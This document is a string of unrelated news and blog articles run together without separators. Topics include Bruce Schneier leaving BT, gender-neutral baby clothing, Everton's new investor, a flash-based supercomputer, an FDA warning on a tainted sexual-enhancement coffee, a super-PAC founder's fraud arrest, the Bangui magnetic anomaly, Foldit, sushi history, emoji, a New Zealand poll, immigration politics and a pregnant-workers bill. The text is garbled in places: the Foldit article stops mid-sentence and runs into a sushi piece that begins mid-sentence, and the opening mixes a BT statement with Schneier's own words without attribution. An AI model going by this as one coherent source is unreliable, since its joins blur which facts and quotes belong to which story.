We hired Bruce because of his thought leadership in security and as part of our acquisition of Counterpane. We have agreed to part ways as we felt our relationship had run its course and come to a natural end. It has nothing to do with his recent blogs. We hired Bruce because of his thought leadership in security, not because we agree with everything he says. In fact, it's his ability to challenge our assumptions that made him especially valuable to BT.
Yes, it's true. And contrary to rumors, this has nothing to do with the NSA or GCHQ. No, BT wasn't always happy with my writings on the topic, but it knew that I am an independent thinker and didn't try to muzzle me in any way. I'm just ready to leave. I spent seven years at BT, and seven years at Counterpane Internet Security, Inc., before BT bought us. It's past time for something new.
As to what comes next: answer cloudy; ask again later.
More news here. And a Slashdot and Hacker News thread.
Posted on December 20, 2013 at 2:31 PM • 36 CommentsIt’s a good job that newborn babies can’t talk. They have this way of looking at you that suggests they’re still in touch with some higher, prenatal wisdom, one which can only be drummed out of them with the help of Cbeebies and Milkshake. In the meantime, you just don’t want to know what they could be saying. They totally see through the institutionalised performance of “motherhood”. They don’t buy any of this “attachment theory” crap. And they probably hate whatever it is you’re dressing them in.
Dressing your baby is, of course, a political act. The clothes you choose will affect how your baby is received by the world. Your baby cannot object; he or she can’t even sit up, let alone negotiate press studs. So it is up to you to manage the impression he or she will make.
Say your infant is throwing a ferocious tantrum (probably something to do with the existential angst that comes with leaving the sacred womb). Dress your baby in pink and people will see a temperamental prima donna. Dress him or her in blue and they will see a boisterous little chap with a fine set of lungs. Dress your baby in beige or yellow and they’ll ask “is it a boy or a girl?” before making up their minds.
It didn’t always use to be like this. As Cordelia Fine notes, until the end of the nineteenth century “even five-year-old children were being dressed in more-or-less unisex white dresses”:
The introduction of coloured fabrics for young children’s clothing marked the beginning of the move towards our current pink-blue labelling of gender, but it took nearly half a century for the rules to settle into place. For a time, pink was preferred for boys, because it was ‘a decided and stronger’ colour, a close relative to red, symbolising ‘zeal and courage’. Blue, being ‘more delicate and dainty’ and ‘symbolic of faith and constancy’ was reserved for girls. Only towards the middle of the twentieth century did existing practices become fixed.
In the blink of an eye we have gone from a world in which children were seen as sexless, gender-neutral mini-adults to one in which children are treated as separate beings, albeit ones who demonstrate the validity of gender itself. And now we’re at the point where gender-neutral children’s clothes – or “clothes” as they used to be called – are marketed as the cutting-edge alternative to “traditional” categories which weren’t even in place a century ago.
Retailers such as Babies R Us, Gap, Verbaudet and Mothercare now label a segment of their infant clothing ranges as “unisex” or “gender neutral”. These seem to be aimed at people buying clothes for babies not yet born, in instances where one does not yet know which colour to match to the infant’s genitals (you just can’t risk getting it wrong!). There are other ranges which take things a step further, pushing gender neutrality as a noble end in itself. For instance, Sewing Circus describe themselves as “the original handmade unisex children’s store”, boasting that every single item they sell is suitable for boys or girls, while Tootsa MacGinty do not have separate sections for boys and girls. I think the clothes in both stores are lovely, and the absence of any gender segregation wholly laudable. Nonetheless, they are more expensive than anything I’d want my child to throw up in, which then raises the question, what makes these clothes gender neutral when most things on sale in Primark or Tesco are not? Isn’t it all about the labelling? Girls’ clothes are only girls’ clothes as long as we say they are.
Until they hit puberty, there is little difference in the average size and shape of girls’ and boys’ bodies. Thus it is somewhat bizarre that parents can end up agonising over finding the right “neutral” outfits for them. Why should yellow dungarees be a progressive choice for our sons any more than a Disney Princess dress? If we are so annoyed about boys’ clothing ranges stocking only images of trucks and cars, why don’t we venture over to the girls’ section? Why do we need to have something which specifically states “not just for girls or boys,” thereby implicitly fixing rather than challenging the other two categories?
One could argue that it’s just another market segmentation strategy. Tootsa MacGinty point out that because their clothes are unisex “you can merrily pass them on to siblings and friends.” Didn’t thrifty mothers use to do that with all children’s clothes? I certainly have (slightly resentful) memories of wearing my brother’s hand-me-downs. When I told my mother that his blue vests were a bridge too far, she insisted they were unisex. These days I’d have been able to counter that they clearly weren’t since they did not come from a suitably progressive store. Now that gender neutrality is fashionable – apparently Kim Kardashian “loves it when North wears gender-neutral clothes” while soap star Helen Flanagan’s baby shower was “a Bee themed soirée made up of the gender neutral colour yellow“ – we cannot go back to saying that it simply means “wearing any old stuff.” It has to be a separate, specific purchase (thank god there is at least a way of creating your gender neutral nursery on a budget).
I think, however, that it also goes deeper than that. In a world that is supposedly more equal, gender stereotyping has gone underground. We tell ourselves that we treat babies the same, regardless of whether or not we know their sex, but research suggests otherwise. Fine describes how even self-described progressive parents end up implicitly stereotyping their children, conversing more with girls while overestimating the independence and physical capabilities of boys. If we are doing this to our own offspring, how can we expect strangers to resist the pull of subconscious categorisation? We are left with few options: don’t ever reveal your baby’s sex; dress your baby in beige, yellow or white; confuse people by putting your baby in the “wrong” clothes (and then deal with the fact that people will take your noble political statement for either ignorance or sheer bloody mindedness).
A stranger once got extremely annoyed with me upon discovering that the “beautiful baby girl” on which she’d complimented me was in fact a boy. It was as though, by putting a pink bib on my son, I’d played some kind of cunning trick, fooling people into responding to my child in an inappropriate way. And perhaps she had a point. Clothes do manipulate responses. Both my partner and I have noticed that when one of our sons wears dresses or hairclips, we feel he is more delicate and vulnerable, and we’re slightly less likely to notice how funny he is and more likely to hone in on his prettiness. These are subtle differences – at least, I’m not aware that we treat him differently as a result – but they are there nonetheless. Gender is a language we can critique, but it is not one we can easily opt out of speaking. It is not just that we cannot control how others see our children; whatever our personal principles, we cannot always control how we see them ourselves.
It is a measure of just how far we have gone down the “gender everything” road that it is more acceptable to dress a baby boy as a tiger or an octopus or a Christmas pudding than in anything with a hint of pink. You know where you are with a baby disguised as a bottle of Heinz tomato ketchup, but a boy who’s wearing things that are explicitly marked out as “for girls”? How is one supposed to respond to that? I think our confusion says a lot about how scared we are of letting go of underlying beliefs in essential difference. However much we tinker round the edges, we must always have this article of faith to fall back on. That’s no doubt one of the reasons why our newborns look upon us with such disdain. They were not born believing such things, but just like us, they cannot find the words to express it.Everton are set to welcome the influence of Farhad Moshiri
Billionaire Farhad Moshiri's investment in Everton has been approved by the Premier League.
The 60-year-old, whose personal wealth is estimated at £1.3bn according to American business magazine Forbes, has been given the go-ahead to complete the purchase of a 49.9 per cent stake in the Merseyside club.
An Everton statement read: "Everton Football Club has received notification that the proposed investment into the club by Farhad Moshiri has been approved by the Premier League."
The Toffees announced the Iran-born Briton's new investment late last month and Sky Sports News HQ understands he will now attend Saturday's FA Cup quarter-final with Chelsea at Goodison Park.
When the news was first confirmed on February 28, chairman Bill Kenwright said: "After an exhaustive search I believe we have found the perfect partner to take the club forward."
While Moshiri added: "I am delighted to take this opportunity to become a shareholder in Everton, with its rich heritage as one of Europe's leading football clubs."Supercomputers aren't what they used to be. The Chinese are building a supercomputer with their own microprocessors, shunning American chip giants Intel and AMD. The Spanish are building one with cellphone chips. And this week, the San Diego Supercomputer Center (SDSC) officially plugged in the first supercomputer that uses flash storage rather than good old-fashioned spinning disks.
Naturally, they call it Gordon. As in Flash Gordon.
Gordon uses 300 terabytes of flash, spanning 1,024 high-performance Intel 710 series drives, and the system includes new software designed to aggregate resources from multiple physical server nodes into "super-nodes," so users have immediate access to data, rather than waiting for the system to access particular drives. Allan Snavely, the SDSC's associate director, sees this as the world's largest thumb drive. Flash memory is stuff used not only in USB thumb drives but cell phones and digital cameras.
According to Snavely, Gordon can run massive databases up to 10 times faster than traditional memory, and it now ranks 48th on the official Top500 list of the fastest supercomputer in the world. The project is part of a larger trend in the supercomputer game, where systems are moving away from traditional components, toward new types of hardware that can improve speed, cost, efficiency, and, in the case of the Chinese, independence from the West.
With Gordon, the big deal is its ability to handle data, says Nicholas Schork, a professor at the Scripps Research Institute, who helped build the first high-density map of the human genome 10 years ago and is now the director of bioinformatics and biostatistics at Scripps Translational Science Institute.
“We’ve been anticipating a deluge of data and it is here,” Schork says. “In no time at all, the six billion sequences of the human genome can be done, in no time at all. The ability to sequence has outpaced the ability to interpret the data. Interpreting the genome is where the action is – you have to annotate the data, find patterns in it.”
When it officially becomes a research tool on New Year’s Day, Gordon will have 16,384 compute cores and a theoretical peak performance of 340 Teraflops per second. Its aggregate flash memory will be able to read and write at just over 200GB per second.
Before building the system themselves, the SDSC wizards sought help from Cray and the other big supercomputing companies, but they didn't want to play. “We said: 'Can we get something like this?' And they said: 'Take a hike,'” says Snavely. So the center pursued grants, landed a $20 million, NSF five-year grant and set up an in-house skunk works, a small group dedicated to the project. “We did massive amounts of testing. As soon as we could test anything, we tested.”
They worked with Intel Chief Technology Officer for High-Performance Computing Ecosystems Mark Seager, who predicted that “this kind of technology is going to be adapted into the wider market.”
Gordon utilizes a unique architecture, designed by ScaleMP, where a supernode that aggregates 32 of Gordon’s servers and two I/O servers into a single virtual cache so “it can be used without putting too much brain into using it,” according to Rob Pennington, of the National Science Foundation.
Bob Sinkovits, applications lead for the Gordon project at SDSC, says that using flash memory is just a better idea. “Flash memory has a number of advantages over traditional hard drives, including higher bandwidths or the rate at which large blocks of data can be read or written, lower power consumption, and greater mechanical stability owing to the lack of moving parts. For data-intensive applications, though, the biggest advantage is much lower latency, or the delay between a request for data and the delivery of the first byte.”There’s nothing like having your daily morning coffee to wake you up. But imagine if you could have that and some morning excitement, too? Talk about an early riser.
Stiff Bull, a new instant coffee that guarantees “instant erections” is now on the market, with the promise to make every man who samples it “stay harder longer.” How long? Two to an even more alarming three days.
“The coffee contains a propriety blend of ingredients such as — tongkat Ali, maca root, and guarana,” reads the website. “These herbs grow wild in the jungles of Malaysia and have been used for centuries by the people of Asia and South America to greatly improve sexual health, libido, and overall wellness.”
If it seems too good to be true, that’s because it is — at least according to the U.S. Food and Drug Adminstration, which has added it to its list of Tainted Sexual Enhancement Products, warning consumers that it contains an unlisted drug used for erectile dysfunction. Go figure.
That drug is desmethyl carbodenafil, a chemical similar to the active ingredient in Viagra, though it is not listed on the packaging. Perhaps that is what the company is referring to as its “potent ingredients.”
“This undeclared ingredient may interact with nitrates found in some prescription drugs such as nitroglycerin and may lower blood pressure to dangerous levels,” warns the FDA, adding that it could be particularly dangerous to men with diabetes, high blood pressure, high cholesterol or heart disease.
According to a Daily Mail report, more than 200,000 Americans order the product each month.
So while Stiff Bull may be a self-proclaimed “relationship saver,” you may find yourself having to choose between a more active sex life and your long-term health.The creator of a super-PAC allegedly supporting Democratic presidential candidate Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE has been charged with securities fraud, The Center for Public Integrity reported Tuesday.
Cary Lee Peterson, who created the political action committee that collected nearly $50,000 from actor Daniel Craig, was arrested Sunday by the FBI.
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He has been charged with two counts of false certification and one count of securities fraud, according to the Department of Justice.
Each count carries a maximum penalty of 20 years in prison and a maximum fine of $5 million.
According to a government complaint against him, Peterson "defrauded investors by issuing false filings and press releases touting its purportedly lucrative — but wholly fictitious — business deals," Yahoo News reported.
Peterson is expected to appear in federal court on Wednesday.
Brad Deutsch, the general counsel of Sanders's presidential campaign, told the Center for Public Integrity that he was "not at all surprised" about Peterson's arrest.
The Vermont senator's campaign last year said in cease-and-desist letters that Peterson's group was illegal and "causing harmful confusion for supports of Senator Sanders' campaign," according to the Center for Public Integrity.
Peterson originally launched the super-PAC in February 2015, calling it "Ready for Bernie Sanders 2016" but renamed it "Americans Socially United" because of federal rules that don't allow political committees to use a candidate's name without authorization.
- Updated at 12:17 a.m.Until the last year, when the Central African Republic’s civil war became a humanitarian crisis too dire to ignore, most Americans thought little about the country at all. It has a low global profile in part because it is exceedingly poor, with four out of five people living on less than $2 a day. It has some natural resources, but because it is landlocked by other troubled countries—Chad, Sudan, Congo, and Cameroon—even if a lull in the war allowed it to extract those from the ground, it would still face formidable problems in exporting them.
But for one group, the Central African Republic is anything but ignorable, and in fact is home to an enduring scientific mystery. Geophysicists who map the earth’s magnetic fields have identified a disturbance in the earth’s natural magnetic fields within the Republic. They still have few clues about what causes it, but at least some think it could be key to understanding one of the most dramatic events in the history of the planet.
When geophysicists look at the globe, they don’t see national borders. Instead they see geological features like fault lines and tectonic plates, or, if they study geomagnetism, zones where the earth’s normal, needle-points-north magnetic field seems to go haywire. They map these anomalies by satellite and with ground surveys. When they look at the Central African Republic, something strange appears in the center of the country: a massive aberration known as the Bangui Magnetic Anomaly, named for the country’s capital. At 600 miles across, it is one of the largest such anomalies on earth.
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“If you were on the ground there and you had a magnetic compass, you’d need to correct for it,” says Patrick T. Taylor, a NASA geophysicist who has studied the anomaly closely. “The compasses would go berserk.”
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The earth’s magnetic field is generally consistent, which means hikers and sailors have been able to use it to avoid getting lost since the invention of the navigational compass a thousand years ago in China. Compasses point to magnetic north, a point in the Arctic near the geographic North Pole. But a handful of anomalies are large enough to alert scientists that something unusual is happening in the earth’s crust. When the anomalies can’t be explained, they serve to show just how poorly we understand certain details of earth’s underlying structure. (Arthur C. Clarke and Stanley Kubrick used this mystery to great effect in “2001: A Space Odyssey,” which featured a magnetic anomaly in a crater on the moon that turns out to have been planted by extraterrestrials as a beacon.)
Some large anomalies on earth have obvious origins: The Kursk anomaly in far western Russia is clearly the result of an iron deposit. Not so the Bangui anomaly. First identified 60 years ago by French mappers, it continues to perplex scientists. Iron is usually the explanation for a huge positive anomaly, Taylor says, and one theory explains the Bangui anomaly by proposing that the culprit is a large, dense upwelling of magnetic material, possibly iron-rich, from the earth’s mantle a few miles beneath the surface. But the Central African Republic also has a very negative gravity anomaly—things weigh less there—which suggests that the country is sitting on rock less dense than a huge upwelling of the mantle.
In 1991, Taylor, R. W. Girdler, and J. J. Frawley pointed out features of the Central African Republic that hinted at another origin, first proposed in 1976. They found that the surface of the country resembled a huge, shallow crater, with a circular rim that mapped closely onto the area with strange magnetism and gravity.
The center of the bull’s-eye, Taylor says, may be the site of the largest meteor strike still visible on the surface of the earth, from over a billion years ago. “When meteorites strike the earth, you get a crater and a rim,” he says. And at this size, this one would be “bigger than any other known impact, by an order of magnitude.” Under this theory, a huge meteor would have hit, heating up the impact site, making the iron there more magnetic, and leaving a great pock on the earth that hasn’t disappeared after a billion or more years of erosion.
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“Every solid body in the solar system—every moon, every planet, even comets—are covered by impact structures, except for earth,” Taylor says. That’s because the earth has water and an active atmosphere that eventually wash away the evidence. “It’s like they’ve been erased.”
As a result, geologists have become sympathetic to the hypothesis that many geological features that are not obviously craters are, in fact, sites of ancient impacts. “We’ve been slow to recognize the number of craters on the earth,” says Raymond Jeanloz, a planetary geophysicist at the University of California at Berkeley. “We’ve probably overlooked a few dozen.” Jeanloz points out that the most famous such site, the Chicxulub site in the Yucatan peninsula, was found and explored only in the last 35 years or so. It is now thought to be the strike that killed the dinosaurs.
Jeanloz classifies the Bangui meteor hypothesis as “interesting but unproven.” Only a handful of geophysicists have examined the Bangui anomaly in any detail, and all of them seem to agree that more work would be necessary to advance the hypothesis.
One hint, proponents believe, might be found in one of the Central African Republic’s few exports. The country has a small diamond industry—its total annual product could fit in a single suitcase. But in addition to gemstones, it boasts a peculiar type of industrial diamond. Taylor and colleagues note that both the Central African Republic and Bahia, Brazil—areas that were once close to each other before plate tectonics shifted the continents into their present positions—produce “carbonados.” Most other diamonds are found in pipes of a rock called kimberlite. But carbonados seem to be scattered, and now Taylor and others believe they might be the remnants of a meteor made mostly of diamond. The carbonados could, Taylor says, be part of the “splatter” of the strike.
The simplest way to check this hypothesis would be to go rock-hunting in the Central African Republic. Taylor would like to visit the areas that look like the rim of the crater, and study rocks for signs that they were deformed in a meteor strike. “That would be the smoking gun.” But for the moment he’ll have to wait. The Central African Republic was never an easy country to do research in—it has few paved roads and no scheduled commercial domestic plane routes. Now, the war has made research almost unthinkable. “It’s very hard to get in there and do proper work,” Taylor says.
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Even if Taylor makes it to the Central African Republic, he’ll be examining the coldest of geological cold cases. Over a billion years have passed since the event he thinks happened. And we simply have very little idea what a huge meteor crater looks like a billion years after the fact. “What do you look for, when you’re looking for ancient impacts?” Taylor asks. “We don’t really know.”
Related:
• MIT scholar fights malaria with magnets
• Alan Guth: What made the Big Bang bang
• NASA spacecraft launched in 1977 enters interstellar space
• Harvard-Yale team on trail of electron’s mysteries
Graeme Wood is a contributing editor at The Atlantic.A model of a protein from Streptomyces avermitilis, a source of antibiotics. *Origami/photo: Robert J. Lang / Talia Chetrit * As soon as Zoran Popović saw the hair, he knew he was looking at David Baker. It was unmistakable: Baker's face is surrounded by an umbra of curls that organize themselves into unpredictable spirals—not unlike the complex protein molecules he studies. They hadn't met before; Popović is an expert in graphics, a computer scientist at the University of Washington in Seattle, and Baker is a biochemistry professor with a laboratory a few blocks away. But David Salesin, another computer scientist and a friend of Baker's, had arranged for the three of them to meet for lunch in a restaurant near campus, because Baker needed help with a tricky problem—and it was exactly the kind of problem Popović was good at solving.
Baker was the Most Valuable Player in the protein chemistry world's biennial World Series, a competition to see who can predict the shape a protein will fold into, knowing nothing more than the sequence of its constituent parts. It's called the Community-Wide Experiment on the Critical Assessment of Techniques for Protein Structure Prediction, or CASP.
With the help of a formidable weapon called Rosetta@home, Baker's team had dominated CASP since 1998. Like SETI @home, the screensaver that taps spare home computer cycles to sort through radio signals from space, Rosetta farms out computation to volunteered PCs. The 86,000 computers around the world that run it would give Baker the rough equivalent of a 77-teraflop supercomputer for the November 2006 iteration of CASP a few weeks later. But Rosetta@home was getting stumped by puzzles that Baker thought humans, with their superior spatial reasoning, would solve easily.
Baker suggested that users should have some way to tell the screensaver to try a different approach. Popović shook his head. "No one's going to care about that," he said. "If you really want people to get engaged, you should put people at the center."
Salesin thought so, too—in fact, he thought protein folding would make a terrific computer game. That's why he'd set up this lunch. Baker, thinking about the intense focus he'd seen on the face of his preteen son when playing videogames, agreed.
The game they came up with, Foldit, doesn't have orcs or quests or gravity hammers. It simply serves up a multicolored knot of spirals and clumps—a 3-D render of a protein. Players use the cursor to grab, bend, pull, and wiggle the chain of amino acids anywhere along its length, folding the protein into its optimum shape. The only rules are based on physics—opposite charges attract, atomic bonds have limited angles of rotation, and the parts of the molecule that stick to water tend to point outward. The closer your model's properties adhere |
by salting it and leaving it to ferment. Later they started to pack the fish with uncooked rice to speed the fermentation process. Over time, this raw, fermented style of fish and rice became specialty dishes in their own right.
By the 1400s, tangy, fermented rice was a popular side dish. By the 1500s, Japanese cooks were adding vinegar to speed fermentation and artificially create the tangy taste. This also made fermented sushi less pungent. New kinds of sushi began to evolve using only cooked rice and vinegar and less-fermented fish. These various styles of sushi (such as Oshi, chirashi, and nuku) are still popular in Japan.
By the 1800s, street vendors made “fast food” out of raw fish and sushi rice in what became known as Edo style sushi, named for the capital city. When Japanese businesses began expanding in the U.S. in the late 1970s, more sushi restaurants opened to serve food familiar from home.
The California Roll Revolution
Americans weren’t so thrilled with the idea of eating raw fish until the California roll was invented. This combo of avocado and cooked crab was the perfect introduction to sushi for North Americans. Its success launched an era of experimentation and creation of new types of sushi. Today’s sushi is a fusion cuisine blending Japanese foods with ingredients an American palate enjoys.
Eating Sushi
Sushi comes in many varieties but only a few basic styles. Here are the dinner table classics.
Nigiri sushi is the original street food from Edo. This oblong of vinegar rice is topped with the main ingredient (not always raw fish).
Maki is the name for a sushi roll. A piece of nori (dried seaweed) is covered with sushi rice and other ingredients, rolled shut, and sliced into rounds for serving.
A hand-roll, called temakizushi, is maki rolled up into a loose cone with the ingredients inside. It is held by hand and eaten that way.
Sashimi is a word meaning sliced meat or fish. Sliced raw fish cut in the sashimi manner is often served in sushi restaurants, where diners may want just plain fish to eat with rice or condiments. Sashimi is not sushi, for it does not come bundled with vinegar rice as sushi does, but it is almost always available where sushi is.
Don’t like raw fish? No worries: there are plenty of cooked ingredients on the menu as well. Shrimp, grilled eel, and egg custard are just a few of the common ones, and many rolls have all-vegetable or veggie-and-cooked-fish ingredients. Ask your waitperson for suggestions if you’re in doubt.
It’s acceptable to eat sushi with your fingers, if chopsticks are not cutting it. Soy sauce is poured into the flat bowls for dipping your food; try mixing a little wasabi (the green horseradish) in for a little extra zing. And if you have more than a little zing, you might discover the pleasures of hot sake to chase it all down with. Kampai! (Cheers!)
Finding a Sushi Restaurant
For some good recommendations on sushi restaurants near you, check out Yelp, or Citysearch if you are in a larger urban area.A quick perusal of the emoji database reveals no shortage of doctors and lawyers and business executives, but if you look closely, you’ll notice that these are all male characters. Women emoji can be found, but they’re generally princesses, brides, or icons designed to convey beauty. Where are all the working women at? They exist in real life, so why aren’t they showing up on our phones? We have space for over a dozen images of Japanese food but not one woman with a degree? This is the question Google is asking, so they’ve submitted a proposal to the Unicode Consortium recommending the addition of 13 new female emoji that would give women better representation.
In their proposal, Google cites the writing of Amy Butcher, who published a piece in the New York Times about this very issue:
Yes, there were women’s faces, and tiny women’s bodies. But for the women actually engaged in an activity or profession, there were only archetypes: the flamenco dancer in her red gown, the bride in her flowing veil, the princess in her gold tiara. There was a set of ballet dancers complete with bunny ears and black leotards, their smiles indicating that, gosh, they were so grateful to God and everyone, really, for this opportunity to pose for Playboy… Where, I wanted to know, was the fierce professor working her way to tenure? Where was the lawyer? The accountant? The surgeon? How was there space for both a bento box and a single fried coconut shrimp, and yet women were restricted to a smattering of tired, beauty-centric roles? This was not a problem for our male emoji brethren. Men were serving on the police force, working construction and being Santa. Meanwhile, on our phones, it was Saturday at the Mall of America — women shopping while men wrote the checks.
This is an important issue to take on. The inclusion of only males fulfilling these roles plays into long-standing stereotypes that reinforce the notion that occupations in the fields of tech, industry, and business are ‘man jobs.’ Indeed, the reason that we’re seeing such a troubling shortage of women in STEM fields today is because young women have long been subtly encouraged by myriad elements of our society to seek historically female roles that prize beauty and nurturing capabilities over intelligence or innovation. Having a female scientist emoticon is just one small step toward showing young women that a career as a scientist is in the cards for them.
The Unicode Consortium has come under fire for failing to meet modern standards of equal representation in the past, but when challenged, the organization scrambled to create same-sex emoji and an array of varied skin tones. We’d be surprised if they didn’t rise to this occasion as well, so we bet you can expect to see some more emojis representing women in the workforce and higher education in the future. In the meantime, what are your thoughts regarding this Emoji Feminism? Let us know in the comments below!Anti-TPPA protesters outside Parliament in 2015. A new poll shows six in 10 Kiwis think the economy is rigged against them.
A new poll shows that a majority of the country think the economic and political system are rigged against them.
The Ipsos poll, taken in May of 2017, shows that women and those earning less are even more likely to consider the system broken.
But Kiwis are less disenchanted than those in other countries and just a quarter think the country is in "decline".
Still, the numbers make for bracing reading for any politician.
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Fully 56 per cent of Kiwis questioned agree that traditional parties and politicians don't care about people like them.
Reuters Theresa May had a lot more trouble than expected in the last election, as many saw the country going in the wrong direction. Could Bill English be in for a similar shock?
Just 16 per cent disagreed with that sentiment, and the unemployed were far more likely to think the system was rigged. In other countries like Australia dissatisfaction was higher.
But the economy got even worse marks than the politicians.
Six in ten - 64 per cent - agreed that the country's economy was rigged to advantage the rich and powerful.
Women and those earning less than $30,000 were significantly more likely to agree with that, and those earning over $100,000 were significantly less likely to agree.
"There definitely does seem to be some sense that there is a mood for change," said Ipsos's Nicola Legge.
"There is a sense that the economy is most benefiting those who need it least, with politicians having lost sight of the needs of everyday Kiwis. Low income households especially are feeling the strain."
"There are also signs that as we prepare to go to the polls in September many are open to a leader that will break the mould and release us from more of the same."
"While we are not alone in the world with these views, it would be wrong to assume we are primed for a sea-change such has that experienced in other countries in the past year."
Political scientist Bryce Edwards said everyone who was part of the "system" - left or right - should heed the warning.
"Until now, it has looked like New Zealand has been immune from the world-wide increase in radical politics and rebellion against the establishment. This poll shows that such political upheavals could yet come to New Zealand," Edwards said.
"This poll could be taken as a wake up call that not all is well in New Zealand. Levels of satisfaction are clearly in question at the moment."
Edwards said how this might play out on an election might be hard to predict, as many of the disenchanted would simply not vote.
"But there will be some looking for some sort of electoral outlet for their concerns. And the best positioned parties are going to be NZ FIrst with Winston Peters and Shane Jones, and TOP to some degree."
It was likely that MMP, by allowing smaller parties to gain some power, had created something of a release valve which might account for the lower level of dissatisfaction in New Zealand compared with other countries.
"The system does respond to some degree. But the fact that we still haven't seen any new parties come into Parliament since 1996 that are formed from people who aren't already in Parliament does suggest that it is not as flexible as we might think."
He said that while other countries seem closer to electing a'strongman' figure, New Zealand was not immune.
"The fact that half of New Zealanders would appear to welcome an anti-democratic politician ruling the country should be a huge concern. This suggests that politics really is in a very unhealthy state."
"New Zealand might think it's immune from ever having a Trump-like figure come to power, but this polls suggests that such a danger isn't so farfetched."
The online poll questioned a weighted sample of 507 adults over May 2017. It found no significant difference in dissatisfaction between age groups.Executive action deferring deportations for immigrants could be a boon to the party. At-risk Dems to Obama: Slow down
The Senate’s most vulnerable Democratic incumbents, caught in the crosscurrents of immigration reform, are urging President Barack Obama to show restraint in using his executive powers to slow deportations.
Obama is locked between a progressive base demanding aggressive action and voters in conservative states that will decide the fate of the Senate and hold outsized importance in shaping the final two years of his presidency. The White House is weighing how far it can go, legally and politically, in delaying deportations for millions of undocumented immigrants.
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His decision will be announced just weeks before Election Day, and the timing is precarious for Democrats running in conservative states, where any reminder of their ties to the unpopular president is problematic — let alone for a decision as sweeping and controversial as what the White House is considering.
A White House official said the president didn’t choose the timeline. Senate Democratic leaders, facing pressure from immigrant rights groups, began insisting in February that Obama act on his own by the summer if overhaul legislation remained stalled in the House.
At-risk Senate incumbents will be consulted along with other congressional constituencies such as the Hispanic caucus and Democratic leaders, administration officials said. But Obama isn’t planning to moderate his approach based on what plays best in Anchorage or Little Rock because Republicans will attack any executive action, ambitious or restrained, as an abuse of presidential power, the officials said.
Two of the top Republican targets, Sens. Kay Hagan of North Carolina and Mark Pryor of Arkansas, have gone further than any of their Democratic colleagues in warning that Obama shouldn’t take any steps without the approval of Congress.
“I’m not for government by executive order,” Pryor said in an interview. “He needs to have statutory authority before he acts.”
Hagan said through a spokeswoman that “this is a problem that needs to be solved legislatively and not through executive action.”
Sens. Mary Landrieu (D-La.) and Mark Begich (D-Alaska) also said there are limits to what the president can — and should — do.
“We want him to be careful not to go too far,” Begich said.
That red line, in Begich’s view, is providing temporary legal status to all 8 million undocumented immigrants who would’ve qualified under a bill passed last year in the Senate. Hispanic lawmakers and immigrant rights groups are demanding that the president do just that.
The attempt to create distance with Obama highlights the discomfort among some Democrats. An executive action deferring deportations for millions of undocumented immigrants could be a boon to the national party as it heads into the 2016 presidential election. It isn’t considered such a clear winner in the Republican-leaning states that dominate the 2014 midterm map, although the extent to which it helps or hurts Democrats this year remains a point of debate.
A sweeping use of executive authority could do a lot to boost Sen. Mark Udall (D-Colo.), who is locked in an unexpectedly tight race. Hispanics make up 14 percent of the voting population in Colorado, according to the Pew Hispanic Center.
Udall was one of the first Democratic senators to endorse the move towards executive action. “The president should take action to stop tear apart families whose only crime is seeking a better life for themselves,” Udall told a Denver radio station in June.
But in the top battlegrounds of Alaska, Arkansas, Louisiana and North Carolina, Hispanics in each state constitute about 2-3 percent of the voting population. The fear is that efforts to motivate the progressive base won’t be offset by how much it could galvanize Republicans. At the very least, Democratic strategists said, it’s an annoyance for campaigns that are trying to stay focused on local and state issues.
“In a situation where we can only afford good things to happen, we can’t now afford bad things to happen,” said one strategist working in a battleground state. “If we were going into the 2012 or 2010 cycle, it would be whole different story. It creates a whole new issue. Members have to choose between their base and their swing. They have to look at what they have said in the past and comment on what the president has said in the past.”
GOP advocates of a comprehensive immigration overhaul have long warned against unilateral moves on immigration reform, arguing it would foreclose the possibility of any legislative action on immigration for the remainder of Obama’s term.
If Obama takes some executive action on deportations, Alfonso Aguilar, the executive director of the Latino Partnership for Conservative Principles, said Republicans will “go ballistic” and it “certainly doesn’t help” red-state Democrats running for reelection.
“Not that immigration is a huge issue in those states, but it really doesn’t help, because they’ve been supportive of the president and just by association,” Aguilar said. “This helps create the image of the president as not working with Congress, not respecting the law.”
Even senators running in Democratic states weren’t eager to weigh in on the issue.
Sen. Al Franken (D-Minn.) declined through a spokesman to talk about it. Some offices, including those of Sens. Mark Warner (D-Va.) and Jeff Merkley (D-Ore.), didn’t respond to requests for comment. Other senators didn’t want to get into details.
“I’m not going to speculate,” said Sen. Jeanne Shaheen (D-N.H.). “Congress needs to act on the issue. Once I see what he is proposing, I will be in a better position to comment.”
Landrieu said she voted for the Senate overhaul legislation last year because it is a “pro-business bill and it helps us create jobs here in America and secures our borders.” But she’s seeking her third term in a state where her Republican colleague, Sen. David Vitter, won reelection in 2010 the help of a TV ad touting his opponent’s support for “illegals.”
“The president should take what actions he can,” Landrieu said. “But he is not going to be able to take too many because there are limits to what he can do. The best thing would be for Congress to act. I’m going to leave it there.”The Massachusetts Pregnant Workers Fairness Act (PWFA), will be introduced into the House and the Senate on Wednesday, by Senator Lovely, Rep. Story and Rep. Rogers, to combat discrimination by ensuring that pregnant workers are not forced out of their jobs unnecessarily, or denied reasonable job modifications that would allow them to continue working and supporting their families. This bill promotes the health and economic security of pregnant women, their babies, and their families without harming the economy.
The MA PWFA is necessary to close legal loopholes that allow employers to treat pregnant workers worse than others who are not able to work for other reasons, such as those injured on the job. Danielle Bietz was working at a gas station in Westfield, MA, as an assistant manager in 2008 when she became pregnant and began experiencing dizzy spells. She requested light duty but instead was asked to fill the milk cooler, pump the gas amid exhaust fumes, and shovel the sidewalks. When she brought in a doctor's note to support her request for accommodations, Ms. Bietz's employer reduced her hours and she was forced to use her maternity leave before her baby was born.
Ms. Bietz said, "When I was forced to leave my job [at 30 weeks of gestation] to ensure my health while pregnant, I lost my health insurance just when I needed it the most. I lost my job when financial security was absolutely critical. I was in a crisis all because my boss wouldn't let me sit down on a stool, take a break, and not do heavy lifting. The worst part about this is that it all could have easily been prevented if they just let me take a break and work at the cash register."
Over half of all pregnant women and new mothers in Massachusetts are in the labor force and earning income to support their families. Three-quarters of women entering the workforce in our country will be pregnant and employed at some point in their lives. Some of these women -- especially those in physically strenuous jobs -- will face a conflict between their duties at work and the demands of pregnancy. One in five discrimination charges made by women in the United States are associated with pregnancy.
